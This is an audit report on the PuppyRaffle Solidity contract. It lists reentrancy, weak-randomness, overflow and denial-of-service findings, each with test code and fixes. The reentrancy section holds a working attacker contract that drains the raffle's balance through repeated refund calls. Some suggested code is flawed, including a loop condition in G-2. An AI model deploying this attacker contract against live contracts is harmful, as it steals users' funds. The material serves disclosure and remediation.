PuppyRaffle Audit Report

Version 1.0

Viktor's Audits

August 21, 2024

Protocol Audit Report

Viktor Yordanov

August 21, 2024

Prepared by: Viktor Yordanov

Lead Security Researcher: - Viktor Yordanov

Table of Contents

    * [M-1] Looping through players array to check for dublicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.
    * [M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` function, returns `0` for non-existent players and for players at index 0, causing to player at index zero incorrectly think they have not entered the raffle
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable.
    * [G-2] Storage variables in a loop should be cached
  - Informational/Non-Crits
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using an outdated version of Solidity is not recommended.
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
    * [I-5] Use of "magic" numbers is discouraged
    * [I-6] State changes are missing events
    * [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Viktor Yordanov team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope: ## Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

- We spent one day of deep work to catch those bugs. Our mission is to gice value for our clients.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	7
Gas Optimizations	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` function allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow [CEI] (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>      payable(msg.sender).sendValue(entranceFee);
7  @>      players[playerIndex] = address(0);
8          emit RaffleRefunded(playerAddress);
9      }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code:

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1     function test_ReentrancyAttack() public playersEntered {
2
3         ReentrancyAttacker attackerContract = new ReentrancyAttacker(
              puppyRaffle);
4         vm.deal(address(attackerContract), 1 ether);
5
6         uint256 startingAttackContractBalance = address(
              attackerContract).balance;
7         uint256 startingContractBalance = address(puppyRaffle).balance;
8
9         // Attack
10        attackerContract.attack{value: entranceFee}();
11
12        console.log("Starting attacker contract balance: ",
              startingAttackContractBalance);
13        console.log("Starting contract balance: ",
              startingContractBalance);
14
15        console.log("Ending attacker contract balance: ", address(
              attackerContract).balance);
16        console.log("Ending contract balance: ", address(puppyRaffle).
              balance);
17
18    }
```

And this contract as well.

```
1 contract ReentrancyAttacker {
2     PuppyRaffle puppyRaffle;
3     uint256 entranceFee;
```

```
4       uint256 attackerIndex;
5
6       constructor(PuppyRaffle _puppyRaffle) {
7           puppyRaffle = _puppyRaffle;
8           entranceFee = puppyRaffle.entranceFee();
9       }
10
11      function attack() external payable {
12          address[] memory players = new address[](1);
13          players[0] = address(this);
14          puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
17          puppyRaffle.refund(attackerIndex);
18      }
19
20      function _stealMoney() internal {
21          if (address(puppyRaffle).balance >= entranceFee) {
22              puppyRaffle.refund(attackerIndex);
23          }
24      }
25
26      receive() external payable {
27          _stealMoney();
28      }
29
30      fallback() external payable {
31          _stealMoney();
32      }
33  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1       function refund(uint256 playerIndex) public {
2           // @written skipped MEV
3           address playerAddress = players[playerIndex];
4           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
5           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
6
7   +       players[playerIndex] = address(0);
8   +       emit RaffleRefunded(playerAddress);
9           payable(msg.sender).sendValue(entranceFee);
10  -       players[playerIndex] = address(0);
11  -       emit RaffleRefunded(playerAddress);
12      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious Users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the [solidity blog on prevrandao] (https://soliditydeveloper.com/prevrandao). `block.difficulty` was recently replaced with with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to results in their address being used to generated the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a [well-documented attack vector] (https://betterprogramming.pub/how to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf) in the blockchain space.

Recommended Mitigation: Consider using a cryptographically proveable random number generator such a Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
1     uint64 myVar = type(uint64).max
2     // 18446744073709551615
3     myVar++;
4     // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows,

the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// and this will overflow!
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
        require(address(this).balance == uint256(totalFees), "
            PuppyRaffle: There are currently players active!");
```

Althought you could use `selfstruct` to send ETH to this contract in order for values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Proof of code

Put this into `PuppyRaffleTest.t.sol`.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();
```

```
23
24          uint256 endingTotalFees = puppyRaffle.totalFees();
25          console.log("ending total fees", endingTotalFees);
26          assert(endingTotalFees < startingTotalFees);
27
28          // We are also unable to withdraw any fees because of the
                require check
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 -       require(address(this).balance == uint256(totalFees), "
      PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for dublicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks each new player has to undergo. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than for those who enter later. Every additional address in the `players` array is an additional check that the loop will have to perform.

```
1 // @audit DoS Attack
2 @>      for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252128 gas - 2nd 100 players: ~18068215 gas

This is more than 3x more expensive for the second 100 players;

PoC Place the following test into `PuppyRaffleTesst.t.sol`.

```
1     function test_DenialOfService() public {
2
3         vm.txGasPrice(1);
4
5         // First 100 players
6         uint256 playersNum = 100;
7         address[] memory players = new address[](playersNum);
8
9         for (uint256 i = 0; i < playersNum; i++) {
10            players[i] = address(i);
11        }
12        uint256 gasStart = gasleft();
13        puppyRaffle.enterRaffle{value: entranceFee * players.length} (
              players);
14        uint256 gasEnd = gasleft();
15
16        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
17        console.log("Gas cost of the first 100 players: ", gasUsedFirst
              );
18
19        // Second 100 players
20        address[] memory playersTwo = new address[](playersNum);
21
22        for (uint256 i = 0; i < playersNum; i++) {
23            playersTwo[i] = address(i + playersNum + 1);
24        }
25        gasStart = gasleft();
26        puppyRaffle.enterRaffle{value: entranceFee * players.length} (
              playersTwo);
27        gasEnd = gasleft();
28
29        uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice;
30        console.log("Gas cost of the Second 100 players: ",
              gasUsedSecond);
31
```

```
32          assert(gasUsedFirst < gasUsedSecond);
33      }
```

Recommended Mitigation: There are few recomendations.

1. Consider allowing duplicates. Users can make new wallet anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 public raffleId = 0;
3      .
4      .
5      .
6      function enterRaffle(address[] memory newPlayers) public payable {
7          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
8          for (uint256 i = 0; i < newPlayers.length; i++) {
9              players.push(newPlayers[i]);
10 +            addressToRaffleId[newPlayers[i]] = raffleId;
11         }
12
13 -        // Check for duplicates
14 +        // Check for duplicates only from the new players
15 +        for (uint256 i = 0; i < newPlayers.length; i++) {
16 +           require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
17 +        }
18 -        for (uint256 i = 0; i < players.length; i++) {
19 -            for (uint256 j = i + 1; j < players.length; j++) {
20 -                require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -            }
22 -        }
23         emit RaffleEnter(newPlayers);
24     }
25 .
26 .
27 .
28     function selectWinner() external {
29 +       raffleId = raffleId + 1;
30         require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the raffle. However, if the winner is a smart contract that rejects payment, the raffle would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a raffle reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (Not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the ownes on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` function, returns 0 for non-existent players and for players at index 0, causing to player at index zero incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it willalso return 0 if the player is not in the array.

```
1     function getActivePlayerIndex(address player) external view returns
          (uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
5             }
6         }
7         return 0;
8     }
```

Impact: A player at index zero may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. Users thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve 0 position for any competition but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

1. `PuppyRaffle::raffleDuration` should be `immutable` “‘diff
    - uint256 public raffleDuration;
    - uint256 public immutable raffleDuration; “‘
2. `PuppyRaffle::commonImageUri`, `PuppyRaffle::rareImageUri` & `PuppyRaffle::legendaryImageUri` should be constant. “‘diff
    - string private commonImageUri = “ipfs://…mf8”;
    - string private rareImageUri = “ipfs://…mf8”;
    - string private legendaryImageUri = “ipfs://…mf8”;
    - string private constant commonImageUri = “ipfs://…mf8”;
    - string private constant rareImageUri = “ipfs://…mf8”;
    - string private constant legendaryImageUri = “ipfs://…mf8”; “‘

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+         uint256 playerLength = players.length;
-         for (uint256 i = 0; i < players.length - 1; i++) {
+         for (uint256 i = 0; i < playerLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; i < playerLength; j++) {
                  require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
              }
          }
```

Informational/Non-Crits

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

Floating pragma

- Found in src/PuppyRaffle.sol Line: 3

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended.

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommended Mitigation:

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Specific pragma

- Found in src/PuppyRaffle.sol Line: 3

```
- pragma solidity ^0.7.6;

+ pragma solidity 0.8.18;
```

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 84

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 235

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1  -        (bool success,) = winner.call{value: prizePool}("");
2  -        require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
3           _safeMint(winner, tokenId);
4  +        (bool success,) = winner.call{value: prizePool}("");
5  +        require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1           uint256 prizePool = (totalAmountCollected * 80) / 100;
2           uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1           uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2           uint256 public constant FEE_PERCENTAGE = 20;
3           uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed